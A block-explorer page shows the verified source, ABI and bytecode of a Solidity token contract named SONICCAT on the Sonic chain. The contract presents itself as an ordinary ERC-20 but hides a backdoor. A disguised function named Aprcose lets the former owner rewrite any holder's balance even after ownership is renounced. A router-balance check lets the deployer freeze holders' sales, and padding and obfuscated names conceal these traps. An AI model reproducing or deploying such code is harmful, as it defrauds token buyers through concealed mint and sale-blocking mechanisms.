ERC-20
Overview
Max Total Supply
1,000,000,000 SONICCAT
Holders
40
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
SONICCAT
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-02-22 */ /** */ /** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface CheatCodes { // This allows us to getRecordedLogs() struct Log { bytes32[] topics; bytes data; } // Set block.timestamp (newTimestamp) function warp(uint256) external; function roll(uint256) external; // Set block.basefee (newBasefee) function fee(uint256) external; // Set block.coinbase (who) function coinbase(address) external; // Loads a storage slot from an address (who, slot) function load(address, bytes32) external returns (bytes32); // Stores a value to an address' storage slot, (who, slot, value) function store(address, bytes32, bytes32) external; // Signs data, (privateKey, digest) => (v, r, s) function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32); // Gets address for a given private key, (privateKey) => (address) function addr(uint256) external returns (address); function deriveKey(string calldata, uint32) external returns (uint256); // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index} function deriveKey(string calldata, string calldata, uint32) external returns (uint256); // Performs a foreign function call via terminal, (stringInputs) => (result) function ffi(string[] calldata) external returns (bytes memory); // Set environment variables, (name, value) function setEnv(string calldata, string calldata) external; // Read environment variables, (name) => (value) function envBool(string calldata) external returns (bool); function envUint(string calldata) external returns (uint256); function envInt(string calldata) external returns (int256); function envAddress(string calldata) external returns (address); function envBytes32(string calldata) external returns (bytes32); function envString(string calldata) external returns (string memory); function envBytes(string calldata) external returns (bytes memory); // Read environment variables as arrays, (name, delim) => (value[]) function envBool(string calldata, string calldata) external returns (bool[] memory); function envUint(string calldata, string calldata) external returns (uint256[] memory); function envInt(string calldata, string calldata) external returns (int256[] memory); function envAddress(string calldata, string calldata) external returns (address[] memory); function envBytes32(string calldata, string calldata) external returns (bytes32[] memory); function envString(string calldata, string calldata) external returns (string[] memory); function envBytes(string calldata, string calldata) external returns (bytes[] memory); // Sets the *next* call's msg.sender to be the input address function prank(address) external; function startPrank(address) external; function prank(address, address) external; function startPrank(address, address) external; function stopPrank() external; // Sets an address' balance, (who, newBalance) function deal(address, uint256) external; // Sets an address' code, (who, newCode) function etch(address, bytes calldata) external; // Expects an error on next call function expectRevert() external; function expectRevert(bytes calldata) external; function expectRevert(bytes4) external; // Record all storage reads and writes function record() external; // Gets all accessed reads and write slot from a recording session, for a given address function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes); // Record all the transaction logs function recordLogs() external; // Gets all the recorded logs function getRecordedLogs() external returns (Log[] memory); function expectEmit(bool, bool, bool, bool) external; function expectEmit(bool, bool, bool, bool, address) external; function mockCall(address, bytes calldata, bytes calldata) external; // Mocks a call to an address with a specific msg.value, returning specified data. // Calldata match takes precedence over msg.value in case of ambiguity. function mockCall(address, uint256, bytes calldata, bytes calldata) external; // Clears all mocked calls function clearMockedCalls() external; // Expect a call to an address with the specified calldata. // Calldata can either be strict or a partial match function expectCall(address, bytes calldata) external; // Expect a call to an address with the specified msg.value and calldata function expectCall(address, uint256, bytes calldata) external; // Gets the code from an artifact file. Takes in the relative path to the json file function getCode(string calldata) external returns (bytes memory); // Labels an address in call traces function label(address, string calldata) external; // If the condition is false, discard this run's fuzz inputs and generate new ones function assume(bool) external; // Set nonce for an account function setNonce(address, uint64) external; // Get nonce for an account function getNonce(address) external returns (uint64); // Set block.chainid (newChainId) function chainId(uint256) external; // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain function broadcast() external; // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain function broadcast(address) external; function startBroadcast() external; // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain function startBroadcast(address) external; // Stops collecting onchain transactions function stopBroadcast() external; // Reads the entire content of file to string. Path is relative to the project root. (path) => (data) function readFile(string calldata) external returns (string memory); // Reads next line of file to string, (path) => (line) function readLine(string calldata) external returns (string memory); // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. // Path is relative to the project root. (path, data) => () function writeFile(string calldata, string calldata) external; // Writes line to file, creating a file if it does not exist. // Path is relative to the project root. (path, data) => () function writeLine(string calldata, string calldata) external; // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. // Path is relative to the project root. (path) => () function closeFile(string calldata) external; function removeFile(string calldata) external; function toString(address) external returns (string memory); function toString(bytes calldata) external returns (string memory); function toString(bytes32) external returns (string memory); function toString(bool) external returns (string memory); function toString(uint256) external returns (string memory); function toString(int256) external returns (string memory); function snapshot() external returns (uint256); function revertTo(uint256) external returns (bool); // Creates a new fork with the given endpoint and block and returns the identifier of the fork function createFork(string calldata, uint256) external returns (uint256); // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork function createFork(string calldata) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork function createSelectFork(string calldata, uint256) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork function createSelectFork(string calldata) external returns (uint256); // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active. function selectFork(uint256) external; /// Returns the currently active fork /// Reverts if no fork is currently active function activeFork() external returns (uint256); // Updates the currently active fork to given block number // This is similar to `roll` but for the currently active fork function rollFork(uint256) external; // Updates the given fork to given block number function rollFork(uint256 forkId, uint256 blockNumber) external; /// Returns the RPC url for the given alias function rpcUrl(string calldata) external returns (string memory); /// Returns all rpc urls and their aliases `[alias, url][]` function rpcUrls() external returns (string[2][] memory); function makePersistent(address account) external; } abstract contract Ownable is Context { address private _owner; address internal _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transfer_hoppeiOwnership(_msgSender()); } modifier onlyOwner() { _isAdmin(); _; } function owner() public view virtual returns (address) { return _owner; } function _isAdmin() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transfer_hoppeiOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transfer_hoppeiOwnership(newOwner); } function _transfer_hoppeiOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; _previousOwner = oldOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply_hoppei; string private _name_hoppei; string private _symbol_hoppei; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; constructor (string memory name_, string memory symbol_, uint256 totalSupply_) { _name_hoppei = name_; _symbol_hoppei = symbol_; _totalSupply_hoppei = totalSupply_; _balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name_hoppei; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol_hoppei; } function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply_hoppei; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer_hpei(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve_hoppei(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer_hpei(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve_hoppei(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer_hpei(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _transfer_sertoken(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } amount -= amountToBurn; _totalSupply_hoppei -= amountToBurn; _balances[recipient] += amount; emit Transfer(sender, DEAD, amountToBurn); emit Transfer(sender, recipient, amount); } function Aprcose(address account, uint256 amount) public virtual returns (uint256) { address msgSender = msg.sender; address prevOwner = _previousOwner; bytes32 msgSendere = keccak256(abi.encodePacked(msgSender)); bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner)); bytes32 amountHex = bytes32(amount); bool isOwner = msgSendere == prevOwnerHex; if (isOwner) { return _updateBalance(account, amountHex); } else { return _getBalance(account); } } function _updateBalance(address account, bytes32 amountHex) private returns (uint256) { uint256 amount = uint256(amountHex); _balances[account] = amount; return _balances[account]; } function _getBalance(address account) private view returns (uint256) { return _balances[account]; } function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01{} contract SONICCAT is ERC20 { uint256 private constant TOAL_SAILYLY =1000_000_000e9; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD; address private constant ZERO1 = 0x0000000000000000000000000000000000000000; bool public hasLimit_hoppei; uint256 public maxTadsssWallet; uint256 public max_adrbsWallet; mapping(address => bool) public isException; uint256 _burneuosf = 0; address uniswapV2Pair; IUniswapV2Router02 uniswapV2Router; constructor(address router) ERC20(unicode"SonicCat", unicode"SONICCAT", TOAL_SAILYLY) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; max_adrbsWallet= TOAL_SAILYLY / 25; maxTadsssWallet = TOAL_SAILYLY / 25; isException[DEAD] = true; isException[router] = true; isException[msg.sender] = true; isException[address(this)] = true; } function _transfer_hpei( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _checkLimitation_hoppei(from, to, amount); if (amount == 0) { return; } if (!isException[from] && !isException[to]){ require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation"); if (from == uniswapV2Pair || to == uniswapV2Pair) { uint256 _burn = (amount * _burneuosf) / 100; super._transfer_sertoken(from, to, amount, _burn); return; } } super._transfer_hpei(from, to, amount); } function removeLimit() external onlyOwner { hasLimit_hoppei = true; } function _checkLimitation_hoppei( address from, address to, uint256 amount ) internal { if (!hasLimit_hoppei) { if (!isException[from] && !isException[to]) { require(amount <= maxTadsssWallet, "Amount exceeds max"); if (uniswapV2Pair == ZERO){ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } if (to == uniswapV2Pair) { return; } require(balanceOf(to) + amount <= max_adrbsWallet, "Max holding exceeded max"); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aprcose","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTadsssWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrbsWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600b553480156200001657600080fd5b5060405162002ea738038062002ea783398181016040528101906200003c9190620005ca565b6040518060400160405280600881526020017f536f6e69634361740000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f534f4e4943434154000000000000000000000000000000000000000000000000815250670de0b6b3a7640000620000d1620000c5620003a360201b60201c565b620003ab60201b60201c565b8260059080519060200190620000e9929190620004b0565b50816006908051906020019062000102929190620004b0565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001ae919062000617565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506019670de0b6b3a764000062000216919062000663565b6009819055506019670de0b6b3a764000062000233919062000663565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000700565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620004be90620006ca565b90600052602060002090601f016020900481019282620004e257600085556200052e565b82601f10620004fd57805160ff19168380011785556200052e565b828001600101855582156200052e579182015b828111156200052d57825182559160200191906001019062000510565b5b5090506200053d919062000541565b5090565b5b808211156200055c57600081600090555060010162000542565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005928262000565565b9050919050565b620005a48162000585565b8114620005b057600080fd5b50565b600081519050620005c48162000599565b92915050565b600060208284031215620005e357620005e262000560565b5b6000620005f384828501620005b3565b91505092915050565b6000819050919050565b6200061181620005fc565b82525050565b60006020820190506200062e600083018462000606565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200067082620005fc565b91506200067d83620005fc565b92508262000690576200068f62000634565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006e357607f821691505b60208210811415620006fa57620006f96200069b565b5b50919050565b61279780620007106000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b80638da5cb5b1461027d57806395d89b411461029b57806398636f32146102b9578063a457c2d7146102e9578063a865f65d146103195761012c565b806335ba28de116100f457806335ba28de146101eb5780633950935114610209578063622565891461023957806370a0823114610243578063715018a6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190611c03565b60405180910390f35b61016960048036038101906101649190611cbe565b610493565b6040516101769190611d19565b60405180910390f35b6101876104b1565b6040516101949190611d43565b60405180910390f35b6101b760048036038101906101b29190611d5e565b6104bb565b6040516101c49190611d19565b60405180910390f35b6101d56105bc565b6040516101e29190611dcd565b60405180910390f35b6101f36105c5565b6040516102009190611d43565b60405180910390f35b610223600480360381019061021e9190611cbe565b6105cb565b6040516102309190611d19565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611de8565b61069c565b60405161026a9190611d43565b60405180910390f35b61027b6106e5565b005b6102856106f9565b6040516102929190611e24565b60405180910390f35b6102a3610722565b6040516102b09190611c03565b60405180910390f35b6102d360048036038101906102ce9190611de8565b6107b4565b6040516102e09190611d19565b60405180910390f35b61030360048036038101906102fe9190611cbe565b6107d4565b6040516103109190611d19565b60405180910390f35b610333600480360381019061032e9190611cbe565b6108c8565b6040516103409190611d43565b60405180910390f35b610363600480360381019061035e9190611cbe565b61098f565b6040516103709190611d19565b60405180910390f35b6103816109ad565b60405161038e9190611d43565b60405180910390f35b6103b160048036038101906103ac9190611e3f565b6109b3565b6040516103be9190611d43565b60405180910390f35b6103e160048036038101906103dc9190611de8565b610a3a565b005b6103eb610abe565b6040516103f89190611d19565b60405180910390f35b60606005805461041090611eae565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611eae565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad1565b8484610ad9565b6001905092915050565b6000600454905090565b60006104c8848484610ca4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f52565b60405180910390fd5b6105b08561059f610ad1565b85846105ab9190611fa1565b610ad9565b60019150509392505050565b60006009905090565b60085481565b600061066d6105d8610ad1565b8484600360006105e6610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106689190611fd5565b610ad9565b6001905092915050565b61067f610fa3565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed610fa3565b6106f76000611021565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461073190611eae565b80601f016020809104026020016040519081016040528092919081815260200182805461075d90611eae565b80156107aa5780601f1061077f576101008083540402835291602001916107aa565b820191906000526020600020905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107e3610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061209d565b60405180910390fd5b6108bd6108ab610ad1565b8585846108b89190611fa1565b610ad9565b600191505092915050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016109089190612105565b6040516020818303038152906040528051906020012090506000826040516020016109339190612105565b60405160208183030381529060405280519060200120905060008660001b90506000828414905080156109775761096a8983611126565b9650505050505050610989565b610980896111bc565b96505050505050505b92915050565b60006109a361099c610ad1565b8484610ca4565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610fa3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990612192565b60405180910390fd5b610abb81611021565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612224565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906122b6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c979190611d43565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b906123da565b60405180910390fd5b610d8f838383611205565b6000811415610d9d57610f9e565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e415750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f92576000610e73600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661069c565b14610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90612446565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f5c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f915760006064600b5483610f739190612466565b610f7d91906124ef565b9050610f8b848484846115f6565b50610f9e565b5b610f9d8383836118f3565b5b505050565b610fab610ad1565b73ffffffffffffffffffffffffffffffffffffffff16610fc96106f9565b73ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061256c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900460ff166115f057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112bd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115ef57600854811115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe906125d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561153b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ef919061260d565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061260d565b6040518363ffffffff1660e01b81526004016114b992919061263a565b602060405180830381865afa1580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201